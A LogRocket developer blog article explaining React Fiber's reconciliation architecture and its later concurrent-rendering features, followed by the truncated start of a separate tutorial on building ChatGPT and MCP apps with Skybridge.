logrocket-Dev

A deep dive into React Fiber

Karthik Kalyanaraman — Invalid Date

See how LogRocket's Galileo AI surfaces the most severe issues for you

No signup required

Check it out

Editor’s note: This post was updated on 30 July 2026 by David Omotayo to reflect modern React architecture and updates to React Fiber from React v16 through React 19. Key additions include coverage of concurrent rendering, automatic batching, modern root APIs (createRoot), Actions and asynchronous transitions in React 19, useDeferredValue, the Activity component introduced in React 19.2, expanded Suspense capabilities like selective hydration and sibling scheduling, and a new comparison of React Fiber and the React Compiler.

Ever wondered what actually happens under the hood when you render a React application? We know that ReactDOM builds the DOM tree and displays your UI on screen, but how does React construct that tree, and how does it efficiently update it when state changes?

In this guide, we’ll explore React Fiber, React’s core reconciliation engine. We’ll look at how React built the DOM up through v15, the performance pitfalls of that early stack model, and how Fiber’s asynchronous architecture solved those issues from React v16 through React 19.

What is React Fiber?

React Fiber is an internal engine change geared to make React faster and smarter. The Fiber reconciler, which became the default reconciler for React 16 and above, is a complete rewrite of React’s reconciliation algorithm to solve some long-standing issues in React.

Because Fiber is asynchronous, React can:

Pause, resume, and restart rendering work on components as new updates come in
Reuse previously completed work and even abort it if not needed
Split work into chunks and prioritize tasks based on importance

This change allows React to break away from the limits of the synchronous stack reconciler. Previously, you could add or remove items, for example, but it had to work until the stack was empty, and tasks couldn’t be interrupted.

This change also allows React to fine-tune rendering components, ensuring that the most important updates happen as soon as possible. Now, to truly understand the powers of Fiber, let’s talk about the old reconciler: the stack reconciler.

What is React’s stack reconciler?

Let’s start with our familiar ReactDOM.render(<App />, document.getElementById('root')). The ReactDOM module passes the <App /> to the reconciler, but there are two questions here:

What does <App /> refer to?
What is the reconciler?

Let’s unpack these two questions.

What is `<App />`?

<App /> is a React element, and “elements describe the tree.” According to the React blog, “An element is a plain object describing a component instance or DOM node and its desired properties.”

In other words, elements are not actual DOM nodes or component instances; they are a way to describe to React what kind of elements they are, what properties they hold, and who their children are.

This is where React’s real power lies: React abstracts away the complex pieces of how to build, render, and manage the lifecycle of the actual DOM tree by itself, effectively making the life of the developer easier.

To understand what this really means, let’s look at a traditional approach using object-oriented concepts.

Why does React use elements instead of DOM instances?

React elements let developers describe the desired interface without manually creating, updating, and destroying every DOM object.

In the typical object-oriented programming world, developers must instantiate and manage the lifecycle of every DOM element. For instance, if you want to create a simple form and a submit button, the state management still requires some effort from the developer.

Let’s assume the Button component has a isSubmitted state variable. The lifecycle of the Button component looks something like the flowchart below, where each state must be managed by the app:

The size of the flowchart and the number of lines of code grow exponentially as the number of state variables increases.

So, React has elements to solve this problem; in React, there are two kinds of elements: the DOM element and the component element.

The DOM element is an element that’s a string; for instance, <button class="okButton"> OK </button>.

The component element is a class or a function, for example, <Button className="okButton"> OK </Button>, where <Button> is either a class or a functional component. These are the typical React components we generally use.

It is important to understand that both types are simple objects. They are mere descriptions of what must be rendered on the screen and don’t instigate rendering when you create and instantiate them.

What is React reconciliation?

React reconciliation is the process React uses to compare component trees and determine which parts of the rendered output need to change.

This makes it easier for React to parse and traverse them to build the DOM tree. The actual rendering happens later when traversing finishes.

When React encounters a class or a function component, it will ask that element what element it renders based on its props.

For instance, if the <App> component rendered the following, then React will ask the <Form> and <Button> components what they render based on their corresponding props:

<Form>
  <Button>
    Submit
  </Button>
</Form>

So, if the Form component is a functional component that looks like the following, React will call render() to know what elements it renders and see that it renders a <div> with a child

const Form = (props) => {
  return(
    <div className="form">
      {props.form}
    </div>
  )
}

React will repeat this process until it knows the underlying DOM tag elements for every component on the page.

This exact process of recursively traversing a tree to know the underlying DOM tag elements of a React app’s component tree is known as reconciliation. By the end of the reconciliation, React knows the result of the DOM tree, and a renderer like react-dom or react-native applies the minimal set of changes necessary to update the DOM nodes. This means that when you call ReactDOM.render() or setState(), React performs reconciliation.

In the case of setState, it performs a traversal and determines what changed in the tree by diffing the new tree with the rendered tree. Then, it applies those changes to the current tree, thereby updating the state corresponding to the setState() call.

Note: ReactDOM.render() is used in this section because it reflects the API available when Fiber was introduced. It was deprecated in React 18 and removed in React 19. Modern client-rendered applications use createRoot() instead.

import { createRoot } from "react-dom/client";

const root = createRoot(document.getElementById("root"));

root.render(<App />);

Now that we understand what reconciliation is, let’s look at the pitfalls of this model.

What is the React stack reconciler?

The stack reconciler was React’s original reconciliation system. It recursively processed the component tree using the JavaScript call stack and could not pause once rendering began. Its name is derived from the stack data structure, which is a last-in, first-out (LIFO) mechanism.

You might wonder what stack behavior has to do with what we just covered. As it turns out, because we are performing recursion, it has everything to do with the call stack.

How did recursion limit React’s old reconciler?

React’s old reconciler recursively rendered each component and then moved through its children until it reached the leaf DOM elements.

To understand why that’s the case, let’s take a simple example and see what happens in the call stack:

function fib(n) {
  if (n < 2){
    return n
  }
  return fib(n - 1) + fib (n - 2)
}

fib(10)

As we can see, the call stack pushes every call to fib() into the stack until it pops fib(1), which is the first function call to return.

Then, it continues pushing the recursive calls and pops again when it reaches the return statement. In this way, it effectively uses the call stack until fib(3) returns and becomes the last item pop from the stack.

The reconciliation algorithm we just saw is a purely recursive algorithm. An update results in the entire subtree re-rendering immediately. While this works well, this has some limitations.

As Andrew Clark notes, in a UI, it’s not necessary for every update to apply immediately; in fact, doing so can be wasteful, causing frames to drop and degrading the user experience.

Also, different types of updates have different priorities; an animation update must be completed faster than an update from a data store.

What is frame rate and why does it cause UI jank?

Frame rate is the frequency at which consecutive images appear on a display. Everything we see on our computer screens is composed of images or frames played on the screen at a rate that appears instantaneous to the eye.

To understand what this means, think of the computer display as a flipbook and the pages of the flipbook as frames played at some rate when you flip them.

Comparatively, a computer display is nothing but an automatic flipbook that plays continuously when things change on the screen.

Typically, for a video to feel smooth and instantaneous to the human eye, the video must play at a rate of about 30 frames per second (FPS); anything higher gives a better experience.

Most devices these days refresh their screens at 60 FPS, 1/60 = 16.67ms, which means a new frame displays every 16ms. This number is important because if the React renderer takes more than 16ms to render something on the screen, the browser drops that frame.

In reality, however, the browser has housekeeping to do, so all your work must be completed within 10ms. When you fail to meet this budget, the frame rate drops, and the content judders on screen. This is often referred to as jank, and it negatively impacts the user’s experience.

Of course, this is not a big concern for static and textual content. But in the case of displaying animations, this number is critical.

If the React reconciliation algorithm traverses the entire app tree and re-renders it on every update, and that traversal takes longer than 16ms, the browser will drop frames.

This is a big reason why many wanted updates categorized by priority and not blindly applying every update passed down to the reconciler. Also, many wanted the ability to pause and resume work in the next frame. This way, React could have better control over working with the 16ms rendering budget.

This led the React team to rewrite the reconciliation algorithm, which is called Fiber. So, let’s look at how Fiber works to solve this problem.

How does React Fiber work under the hood?

Now that we know what motivated Fiber’s development, let’s summarize the features needed to achieve it. Again, I am referring to Andrew Clark’s notes for this:

Assign priority to different types of work
Pause work and come back to it later
Abort work if it’s no longer needed
Reuse previously completed work

One of the challenges with implementing something like this is how the JavaScript engine works and the lack of threads in the language. To understand this, let’s briefly explore how the JavaScript engine handles execution contexts.

How does the JavaScript execution stack limit rendering?

JavaScript normally executes synchronous functions until the call stack is empty. React’s old recursive reconciler relied on this stack, so it could not pause rendering to handle more urgent browser work.

Whenever you write a function in JavaScript, the JavaScript engine creates a function execution context. Each time the JavaScript engine starts, it creates a global execution context that holds the global objects; for example, the window object in the browser and the global object in Node.js.

JavaScript handles both contexts using a stack data structure also known as the execution stack. So, when you write something like this, the JavaScript engine first creates a global execution context and pushes it into the execution stack:

function a() {
  console.log("i am a")
  b()
}

function b() {
  console.log("i am b")
}

a()

Then, it creates a function execution context for the a() function. Since b() is called inside a(), it creates another function execution context for b() and pushes it into the stack.

When the b() function returns, the engine destroys the context of b(). When we exit the a() function, the a() context is destroyed. The stack during execution looks like this:

But, what happens when the browser makes an asynchronous event like an HTTP request? Does the JavaScript engine stack the execution stack and handle the asynchronous event, or does it wait until the event completes?

The JavaScript engine does something different here: on top of the execution stack, the JavaScript engine has a queue data structure, also known as the event queue. The event queue handles asynchronous calls like HTTP or network events coming into the browser.

The JavaScript engine handles the items in the queue by waiting for the execution stack to empty. So, each time the execution stack empties, the JavaScript engine checks the event queue, pops items off the queue, and handles the event.

It is important to note that the JavaScript engine checks the event queue only when the execution stack is empty or the only item in the execution stack is the global execution context.

Although we call them asynchronous events, there is a subtle distinction here: the events are asynchronous with respect to when they arrive in the queue, but they’re not really asynchronous with respect to when they are actually handled.

Coming back to our stack reconciler, when React traverses the tree, it does so in the execution stack. So, when the updates arrive, they arrive in the event queue (sort of). And only when the execution stack empties are the updates handled.

This is precisely the problem Fiber solves by almost reimplementing the stack with intelligent capabilities—pausing, resuming, and aborting, for example.

Again referencing Andrew Clark, “Fiber is a reimplementation of the stack, specialized for React components. You can think of a single fiber as a virtual stack frame.

“The advantage of reimplementing the stack is that you can keep stack frames in memory and execute them however and whenever you want. This is crucial for accomplishing the goals we have for scheduling.

“Aside from scheduling, manually dealing with stack frames unlocks the potential for features such as concurrency and error boundaries.” We will cover these topics in future sections.

In simple terms, a fiber represents a unit of work with its own virtual stack. In the previous implementation of the reconciliation algorithm, React created a tree of objects (React elements) that are immutable and traversed the tree recursively.

In the current implementation, React creates a tree of fiber nodes that can mutate. The fiber node effectively holds the component’s state, props, and underlying DOM element it renders to.

And, since fiber nodes can mutate, React doesn’t need to recreate every node for updates; it can simply clone and update the node when there is an update.

In the case of a fiber tree, React doesn’t perform recursive traversal. Instead, it creates a singly-linked list and performs a parent-first, depth-first traversal.

What is a singly-linked list of fiber nodes?

A fiber node represents a stack frame and an instance of a React component. A fiber node comprises the following members:

Type
Key
Child
Sibling
Return
Alternate
Output

Type

<div> and <span>, for example, host components (strings), classes, or functions for composite components.

Key

The key is the same as the key we pass to the React element.

Child

Represents the element returned when we call render() on the component:

const Name = (props) => {
  return(
    <div className="name">
      {props.name}
    </div>
  )
}

The child of <Name> is <div> because it returns a <div> element.

Sibling

Represents a case where render returns a list of elements:

const Name = (props) => {
  return([<Customdiv1 />, <Customdiv2 />])
}

In the above case, <Customdiv1> and <Customdiv2> are the children of <Name>, which is the parent. The two children form a singly-linked list.

Return

Return is the return back to the stack frame, which is a logical return back to the parent fiber node, and thus, represents the parent.

`pendingProps` and `memoizedProps`

Memoization means storing the values of a function execution’s result so you can use it later, thereby avoiding recomputation. pendingProps represents the props passed to the component, and memoizedProps initializes at the end of the execution stack, storing the props of this node. When the incoming pendingProps are equal to memoizedProps, it signals that the fiber’s previous output can be reused, preventing unnecessary work.

`pendingWorkPriority`

pendingWorkPriority is a number indicating the priority of the work represented by the fiber. The ReactPriorityLevel module lists the different priority levels and what they represent. With the exception of NoWork, which is zero, a larger number indicates a lower priority.

For example, you could use the following function to check if a fiber’s priority is at least as high as the given level. The scheduler uses the priority field to search for the next unit of work to perform:

function matchesPriority(fiber, priority) {
  return fiber.pendingWorkPriority !== 0 &&
         fiber.pendingWorkPriority <= priority
}

Alternate

At any time, a component instance has at most two fibers that correspond to it: the current fiber and the in-progress fiber. The alternate of the current fiber is the fiber in progress, and the alternate of the fiber in progress is the current fiber. The current fiber represents what is rendered already, and the in-progress fiber is conceptually the stack frame that has not returned.

Output

The output is the leaf nodes of a React application. They are specific to the rendering environment (for example, in a browser app, they are div and span). In JSX, they are denoted using lowercase tag names.

Conceptually, the output of a fiber is the return value of a function. Every fiber eventually has an output, but the output is created only at the leaf nodes by host components. The output is then transferred up the tree.

The output is eventually given to the renderer so that it can flush the changes to the rendering environment. For example, let’s look at how the fiber tree looks for an app with the following code:

const Parent1 = (props) => {
  return([<Child11 />, <Child12 />])
}

const Parent2 = (props) => {
  return(<Child21 />)
}

class App extends Component {
  constructor(props) {
    super(props)
  }
  render() {
    <div>
      <Parent1 />
      <Parent2 />
    </div>
  }
}

ReactDOM.render(<App />, document.getElementById('root'))

We can see that the fiber tree is composed of singly-linked lists of child nodes linked to each other (sibling relationship) and a linked list of parent-to-child relationships. This tree can be traversed using a depth-first search.

What happens during React Fiber’s render phase?

During the render phase, React builds or updates the work-in-progress fiber tree and determines which changes may need to be committed.

To understand how React builds this tree and performs the reconciliation algorithm on it, let’s look at a unit test in the React source code with an attached debugger to follow the process; you can clone the React source code and navigate to this directory.

To begin, add a Jest test and attach a debugger. This is a simple test for rendering a button with text. When you click the button, the app destroys the button and renders a <div> with different text, so the text is a state variable here:

'use strict';

let React;
let ReactDOM;

describe('ReactUnderstanding', () => {
  beforeEach(() => {
    React = require('react');
    ReactDOM = require('react-dom');
  });

  it('works', () => {
    let instance;

    class App extends React.Component {
      constructor(props) {
        super(props)
        this.state = {
          text: "hello"
        }
      }

      handleClick = () => {
        this.props.logger('before-setState', this.state.text);
        this.setState({ text: "hi" })
        this.props.logger('after-setState', this.state.text);
      }

      render() {
        instance = this;
        this.props.logger('render', this.state.text);
        if(this.state.text === "hello") {
        return (
          <div>
            <div>
              <button onClick={this.handleClick.bind(this)}>
                {this.state.text}
              </button>
            </div>
          </div>
        )} else {
          return (
            <div>
              hello
            </div>
          )
        }
      }
    }
    const container = document.createElement('div');
    const logger = jest.fn();
    ReactDOM.render(<App logger={logger}/>, container);
    console.log("clicking");
    instance.handleClick();
    console.log("clicked");

    expect(container.innerHTML).toBe(
      '<div>hello</div>'
    )

    expect(logger.mock.calls).toEqual(
      [["render", "hello"],
      ["before-setState", "hello"],
      ["render", "hi"],
      ["after-setState", "hi"]]
    );
  })

});

In the initial render, React creates a current tree that renders initially. createFiberFromTypesAndProps() is the function that creates each React fiber using the data from the specific React element. When we run the test, put a breakpoint at this function, and look at the call stack:

As we can see, the call stack tracks back to a render() call, which eventually goes down to createFiberFromTypeAndProps(). There are a few other functions that are of interest here: workLoopSync(), performUnitOfWork(), and beginWork().

`workLoopSync()`

workLoopSync() is when React starts building up the tree, starting with the <App> node and recursively moving on to <div>, <div>, and <button>, which are the children of <App>. The workInProgress function holds a reference to the next fiber node that has work to do.

`performUnitOfWork()`

performUnitOfWork() takes a fiber node as an input argument, gets the alternate of the node, and calls beginWork(). This is the equivalent of starting the execution of the function execution contexts in the execution stack.

`beginWork()`

When React builds the tree, beginWork() simply leads up to createFiberFromTypeAndProps() and creates the fiber nodes. React recursively performs work and eventually performUnitOfWork() returns a null, indicating that it has reached the end of the tree.

Using `instance.handleClick()`

Now, what happens when we perform instance.handleClick(), which clicks the button and triggers a state update? In this case, React traverses the fiber tree, clones each node, and checks whether it needs to perform any work on each node.

When we look at the call stack of this scenario, it looks something like this:

Although we did not see completeUnitOfWork() and completeWork() in the first call stack, we can see them here. Just like performUnitOfWork() and beginWork(), these two functions perform the completion part of the current execution, which means returning back to the stack.

As we can see, together these four functions execute the unit of work and give control over the work being done currently, which is exactly what was missing in the stack reconciler.

The image below shows that each fiber node is composed of four phases required to complete that unit of work.

It’s important to note here that each node doesn’t move to completeUnitOfWork() until its children and siblings return completeWork().

For instance, it starts with performUnitOfWork() and beginWork() for <App/>, then moves on to performUnitOfWork() and beginWork() for Parent1, and so on. It comes back and completes the work on <App> once all the children of <App/> complete the work.

This is when React completes its render phase. The tree that’s newly built based on the click() update is called the workInProgress tree. This is basically the draft tree waiting to be rendered.

What happens during React Fiber’s commit phase?

Once the render phase completes, React moves on to the commit phase, where it basically swaps the root pointers of the current tree and workInProgress tree, thereby effectively swapping the current tree with the draft tree it built up based on the click() update.

Not just that, React also reuses the old current tree after swapping the pointer from root to the workInProgress tree. The net effect of this optimized process is a smooth transition from the previous state of the app to the next state and the next state, and so on.

And what about the 16ms frame time? React effectively runs an internal timer for each unit of work being performed and constantly monitors this time limit while performing the work.

The moment the time runs out, React pauses the current unit of work, hands the control back to the main thread, and lets the browser render whatever is finished at that point.

Then, in the next frame, React picks up where it left off and continues building the tree. Then, when it has enough time, it commits the workInProgress tree and completes the render.

What key features were added to React Fiber since v16?

Fiber changed React from a synchronous tree traversal into a schedulable rendering system. Modern React builds on that foundation by allowing work to be prioritized, interrupted, streamed, moved between server and client environments, and optimized at build time.

Here are the key improvements and changes to fiber since React v16:

What is concurrent rendering?

The most significant update to React Fiber since its inception is concurrent rendering. It is a foundational enhancement to React’s rendering model that builds on the capabilities of React Fiber to provide interruptible rendering.

Concurrent rendering lets React prepare certain updates in the background and interrupt them when more urgent work arrives. In other words, React can begin rendering one update, interrupt it to handle a more urgent update, and then later restart or abandon the earlier render.

This is a stark contrast to the traditional synchronous rendering model, where React must complete each render in a single, uninterrupted transaction before responding to other work.

Although concurrency was part of the original vision for Fiber, React 18 and React 19 made its capabilities broadly available through APIs such as transitions, Suspense, useDeferredValue, and Activity, along with the new root API.

How does suspense work with selective hydration in React?

Suspense is a feature that is closely tied to concurrent mode and was initially introduced with React Fiber in v16, but its capabilities were greatly expanded with updates in React 17 and 18.

The feature has undergone significant improvements since its initial release. It was originally designed to manage lazy loading (code splitting) of components using React.lazy, but its functionality has expanded, especially with the introduction of concurrent rendering in v18.

Now, Suspense plays a key role in handling asynchronous operations like data fetching and offers more granular control over UI rendering during these operations. You can declaratively specify what React should show when a part of the tree is not yet ready to render.

This is done using a fallback option, which renders a component or string while the asynchronous task is in operation:

<Suspense fallback={<div>Loading data...</div>}>
  <SomeComponent />
</Suspense>

Another key improvement is streaming in server-side rendering (SSR) and selective hydration. Instead of waiting for the server to finish rendering the full page before sending its HTML to the browser, Suspense boundaries allow React to divide the page into independent sections. The server can send an initial HTML shell first and stream the remaining content as it becomes ready.

With selective hydration, Suspense boundaries divide the tree into smaller hydration units. React then hydrates these sections independently, allowing some controls to become interactive while other sections are still waiting for code or data.

Suspense continues to evolve in React 19, particularly in how it schedules sibling work. When a component suspends, React can commit the nearest fallback sooner and then schedule another render to pre-warm lazy resources in the remaining sibling tree. This allows the fallback to appear sooner without preventing other resources from beginning to load.

The Suspense API is nuanced. If you’d like to learn more about it, check out our comprehensive article on Suspense.

What are transitions?

Transitions are one of the main APIs for using concurrent rendering. They let you distinguish between urgent and non-urgent state updates.

Urgent updates include tasks like user inputs or animations where immediate feedback is expected. Non-urgent updates, like rendering a list of search results, are low priority, and slight delays are acceptable.

The transitions API comprises a useTransition hook which allows you to mark state updates as not urgent, as every state update not marked is considered urgent by default.

How do you use `useTransition`?

The useTransition hook handles transitions between UI states in a non-blocking manner. It returns an array with two values:

isPending — A boolean indicating if the transition is in progress
startTransition — A function to start the transition

For example, consider a page with tabs where one tab takes a long time to render:

import { useState, useTransition } from "react";
import About from "./About";
import Posts from "./Posts";

export default function TabContainer() {
  const [activeTab, setActiveTab] = useState("about");
  const [isPending, startTransition] = useTransition();

  function selectTab(nextTab) {
    startTransition(() => {
      setActiveTab(nextTab);
    });
  }
  return (
    <>
      <button onClick={() => selectTab("about")}> About </button>
      <button onClick={() => selectTab("posts")}> Posts </button>
      {isPending && <p>Loading tab...</p>}
      {activeTab === "about" ? <About /> : <Posts />}
    </>
  );
}

The state update inside startTransition is treated as non-urgent. If the user clicks another button while React is rendering the Posts tab, React can interrupt the first render and handle the new interaction.

Transitions do not delay the function passed to startTransition. React calls that function immediately. Only the state updates scheduled while it runs are marked as transitions.

This means that wrapping an expensive JavaScript calculation in startTransition does not move the calculation into the background:

startTransition(() => {
  // This calculation still runs immediately
  const filteredItems = items.filter(expensiveFilter);
  setFilteredItems(filteredItems);
});

The filter() call still blocks the main thread until it returns. startTransition only changes the priority of the React state update.

What are asynchronous transitions and actions in React 19?

In React 19, functions passed to startTransition are called an Action. An Action can perform asynchronous work, such as a request, while isPending represents the pending interaction.

function SettingsForm() {
  const [settings, setSettings] = useState(initialSettings);
  const [isPending, startTransition] = useTransition();
  function saveSettings(nextSettings) {
    startTransition(async () => {
      const savedSettings = await updateSettings(nextSettings);
      startTransition(() => {
        setSettings(savedSettings);
      });
    });
  }
  return (
    <button
      disabled={isPending}
      onClick={() => saveSettings({ theme: "dark" })}
    >
      {" "}
      {isPending ? "Saving..." : "Save settings"}{" "}
    </button>
  );
}

State updates that occur after an await currently need another startTransition call to remain transition updates. This is a known limitation caused by React losing the transition context across the asynchronous boundary.

Async transitions connect concurrent rendering with newer React features such as Actions, form Actions, useActionState, and useOptimistic. They allow React to coordinate pending UI, asynchronous work, and the final render as one interaction.

What is `useDeferredValue`?

The useDeferredValue hook lets one part of the UI update later than another part. It is useful when a value changes urgently, but a component that depends on that value is slow to render.

For example, an input should reflect each keystroke immediately, but a large list of search results can update at a lower priority:

import { Suspense, useDeferredValue, useState } from "react";
export default function SearchPage() {
  const [query, setQuery] = useState("");
  const deferredQuery = useDeferredValue(query);
  const isStale = query !== deferredQuery;
  return (
    <>
      {" "}
      <input
        value={query}
        onChange={(event) => setQuery(event.target.value)}
        placeholder="Search"
      />{" "}
      <div style={{ opacity: isStale ? 0.5 : 1 }}>
        {" "}
        <Suspense fallback={<p>Loading results...</p>}>
          {" "}
          <SearchResults query={deferredQuery} />{" "}
        </Suspense>{" "}
      </div>{" "}
    </>
  );
}

In this example, when query changes, React first renders the input with the latest value while deferredQuery keeps its previous value.

React then attempts another render in the background using the latest value. This background render is interruptible. If the user types again before it finishes, React can abandon it and restart with the newest value.

Unlike traditional debouncing, useDeferredValue does not wait for a fixed amount of time. Instead, React attempts the deferred render as soon as it can.

The main difference between useTransition and useDeferredValue is where they are applied.

Use a transition when you control the state update and can wrap its setter in startTransition.
Use useDeferredValue when you receive a value through props, a Hook, or another source and want a slower part of the tree to lag behind it.

What is the `<Activity>` component in React 19.2?

React 19.2 introduced the <Activity> component as another feature built on concurrent rendering. Activity lets React hide and restore part of the UI without discarding its internal state.

import { Activity, useState } from "react";
export default function Tabs() {
  const [activeTab, setActiveTab] = useState("home");
  return (
    <>
      {" "}
      <button onClick={() => setActiveTab("home")}> Home </button>{" "}
      <button onClick={() => setActiveTab("settings")}> Settings </button>{" "}
      <Activity mode={activeTab === "home" ? "visible" : "hidden"}>
        {" "}
        <Home />{" "}
      </Activity>{" "}
      <Activity mode={activeTab === "settings" ? "visible" : "hidden"}>
        {" "}
        <Settings />{" "}
      </Activity>{" "}
    </>
  );
}

When an Activity boundary is visible, React renders it normally and mounts its Effects. When it becomes hidden, React hides its DOM content, cleans up its Effects, and preserves its component and DOM state. Updates to hidden content can still be rendered, but they are scheduled at a lower priority than visible work. When the Activity becomes visible again, React restores the preserved state and recreates its Effects.

Activity clearly demonstrates how Fiber can preserve completed work, lower its priority while it is hidden, and reuse it when it becomes relevant again.

Together, transitions, Suspense, selective hydration, streaming server rendering, Activity, and deferred values expose different aspects of React’s concurrent rendering model.

How does `useSyncExternalStore` protect external state in concurrent React?

Concurrent rendering introduces an important challenge for state stored outside React. Because React can pause while rendering a component tree, an external store may change during that pause. If different components read different versions of the store, React could produce an inconsistent user interface.

React 18 introduced useSyncExternalStore to give React a reliable way to subscribe to external stores and read a consistent snapshot of their state:

import { useSyncExternalStore } from "react";
function OnlineStatus() {
  const isOnline = useSyncExternalStore(
    subscribe,
    getSnapshot,
    getServerSnapshot,
  );
  return <p>{isOnline ? "Online" : "Offline"}</p>;
}

Here, the first argument subscribes to changes in the external source. The second returns its current value, and the optional third argument provides the value used during server rendering.

useSyncExternalStore is especially useful for state-management libraries and browser APIs whose values can change outside React’s update system.

What is automatic batching?

Automatic batching is a key feature that is the direct result of the underlying changes in React Fiber. It helps to reduce the number of re-renders that happen when a state changes by allowing React to group multiple state updates into a single re-render.

For example, when you call multiple setState functions in a single render cycle, React automatically batches them together into a single update. This can be observed in the code example below:

function MyComponent() {
  const [count, setCount] = useState(0);

  const handleClick = () => {
    // Multiple state updates within a single event handler
    setCount(count + 1);
    setCount(count + 2); 
  };

  console.log("Rendering")

  return (
    <div>
      <p>Count: {count}</p>
      <button onClick={handleClick}>Increment</button>
    </div>
  );
}

The handleClick function calls setCount twice, once to increment the count by 1 and then again to increment it by 2.

React automatically batches these two state updates into a single update. This means that only one re-render will occur, and “rendering” will only log once in the terminal.

Before the release of React v18, batched updates were performed inside the React event handler. This meant that outside of React’s lifecycle (such as inside a setTimeout or a promise), updates would not be batched automatically. With React Fiber’s improved update in v18, updates are batched across all contexts, including asynchronous code, setTimeout, promises, and native event handlers.

How does the React Compiler optimize code at build time?

The React Compiler complements Fiber by adding build-time memoization that reduces the amount of work Fiber needs to perform at runtime.

Earlier, we saw that a fiber node stores both pendingProps and memoizedProps during reconciliation to decide whether work needs to be done for a fiber.

By comparing pendingProps with memoizedProps, React can determine if the inputs to a component have changed. If they are the same and there are no other updates affecting the fiber, React can skip re-rendering that part of the tree and reuse the previous result. This process is known as memoization.

Memoization happens at runtime after React has already received an update and entered the reconciliation process. Fiber then decides whether part of the tree can be reused.

Hooks such as React.memo, useMemo, and useCallback can help React memoize components, values, or functions where appropriate.

import { memo, useCallback, useMemo } from "react";
const ProductList = memo(function ProductList({ products, onSelect }) {
  const availableProducts = useMemo(() => {
    return products.filter((product) => product.inStock);
  }, [products]);
  const handleSelect = useCallback(
    (productId) => {
      onSelect(productId);
    },
    [onSelect],
  );
  return (
    <ul>
      {" "}
      {availableProducts.map((product) => (
        <Product key={product.id} product={product} onSelect={handleSelect} />
      ))}{" "}
    </ul>
  );
});

Each hook handles a different part of memoization:

React.memo: lets React skip rendering ProductList when its props have not changed
useMemo: caches the filtered products
useCallback: preserves the function reference between renders

Although these APIs help reduce the amount of work that reaches Fiber, developers still have to decide what to memoize, where to memoize it, and keep dependency arrays up to date.

The React Compiler was introduced to reduce this manual work by adding another layer of optimization. Instead of waiting until runtime to identify unnecessary work, the compiler analyzes components and Hooks during the build process and automatically inserts memoization where it is safe to do so.

This means we can rewrite the same component without the manual memoization hooks:

function ProductList({ products, onSelect }) {
  const availableProducts = products.filter((product) => product.inStock);
  function handleSelect(productId) {
    onSelect(productId);
  }
  return (
    <ul>
      {" "}
      {availableProducts.map((product) => (
        <Product key={product.id} product={product} onSelect={handleSelect} />
      ))}{" "}
    </ul>
  );
}

During the build process, the compiler analyzes how values depend on props, state, and other values in the component. It can then generate cache checks that reuse availableProducts, handleSelect, JSX elements, or child component output as long as their relevant inputs remain unchanged.

This does not mean the compiler stores the final DOM or bypasses reconciliation. The compiled component still runs within React’s normal rendering system. Fiber still creates and reconciles the work-in-progress tree and decides what should be committed.

Because these two systems serve different purposes, it is easy to mix up their roles. The table below breaks down their key responsibilities and answers common questions about how they work together.

React Fiber vs. React Compiler: Key differences & FAQs

Question	React Fiber	React Compiler
When does each system operate?	Operates at runtime while React renders and reconciles the component tree	Operates primarily at build time, analyzing and transforming the application code before it runs
What information does each system rely on?	Uses runtime data such as Fiber props, state, context, update priorities, lanes, and previously completed work	Uses static analysis of components, Hooks, values, functions, JSX, and their dependencies
How much developer involvement is required for optimization?	React handles reconciliation automatically, but developers often need to manually add `React.memo`, `useMemo`, and `useCallback` to optimize performance	The compiler handles optimization by adding much of this memoization automatically
What is the relationship between each system and concurrent rendering?	Fiber acts as the scheduler that can pause, restart, prioritize, or abandon rendering work	The compiler reduces the overall amount of work that the concurrent renderer needs to execute
How do they affect the DOM?	Fiber eventually commits the necessary DOM mutations through the renderer	The compiler does not update the DOM directly
Does the React Compiler replace React Fiber?	No. Fiber remains React’s core runtime reconciler	Compiled components still render through Fiber at runtime

Conclusion

React Fiber transformed React from a rigid tree-traversal tool into an intelligent, schedulable rendering engine. As React continues to evolve through v19 and beyond, Fiber remains the key mechanism powering it all. I hope you enjoyed reading this post.

#react

Skybridge: Build ChatGPT apps and MCP connectors

Emmanuel John — Invalid Date

See how LogRocket's Galileo AI surfaces the most severe issues for you

No signup required

Check it out

Chatbots have moved beyond text-based Q&A to become execution environments. Today, developers use them as runtime hosts where tools execute, UI widgets render inline, and user interactions feed back to the model in real time.

However, the developer experience is fragmented. OpenAI uses a proprietary Apps SDK for ChatGPT, while Anthropic Claude follows the Model Context Protocol (MCP). Building and maintaining separate integrations for each platform increases maintenance costs.

Skybridge addresses these challenges. It is an open-source React framework that abstracts host-specific differences. You write one application and deploy it to ChatGPT, Claude, or any MCP-compatible client.

This article demonstrates how to build a unified AI app from scratch, moving from basic tool calls to an interactive, state-synchronized interface.

Why use Skybridge?

If you are wondering about Skybridge, check out the troubles it takes away from developers.

What problem does Skybridge solve?

Each major AI platform comes with its own unique runtime behaviors, protocol specifications, and widget embedding rules. Skybridge acts as a write-once, run-anywhere abstraction layer that automatically manages protocol bridging and host-specific nuances, allowing a single React app to deploy effortlessly across ChatGPT, Claude, and VS Code.

How does Skybridge speed up MCP app development?

Testing an MCP app usually involves a tedious loop: deploying your app, opening a manual tunnel, connecting to a live chatbot, and constantly triggering model responses to check your changes. Skybridge eliminates this friction with a dedicated developer dashboard, which we’ll explore during our testing phase.

What do you need before using Skybridge?

Ensure you have these tools and accounts ready:

Node.js 24 or later
Package manager: npm, pnpm, yarn, or bun
ChatGPT account with developer access
Claude account with connector access

How do you create a Skybridge project?

We will start by scaffolding a new project.

Open your terminal and run the following command:

npm create skybridge@latest hotel-app
cd hotel-app
npm install

This command creates an Express-based MCP server and a Vite-powered React application.

The above command sets up a boilerplate with an Express-based MCP server and a Vite-powered React application.

Skybridge offers direct integration with the Vite ecosystem.

You can check out vite.config.ts file for further configuration if you need to.

What is the Skybridge developer dashboard?

Skybridge provides a local developer dashboard at http://localhost:3000

This comes with the following tools:

Alpic Playground: Local sandbox with hot module replacement (HMR). Iterate on React widgets without connecting to a live AI model
Integrated Secure Tunnel: Exposes your local server through a temporary public URL with one click. Paste this URL into ChatGPT or Claude connector settings
Beacon Audit Tool: Scans app metadata and security policies. It catches common rejection triggers before store submission

How do you build a ChatGPT app with Skybridge?

For this project, we will build a hotel booking app that works inside AI agents.

We will start by setting up the MCP server and registering a tool to search for hotels.

How do you create MCP tools in Skybridge?

Create a server.ts file and register search-hotels tool like so:

import { McpServer } from "skybridge/server";
import { z } from "zod";

const server = new McpServer({
  name: "hotel-booking-app",
  version: "1.0.0"
}, {});

server.registerTool({
  name: "search-hotels",
  description: "Searches for available hotels in a city.",
  inputSchema: {
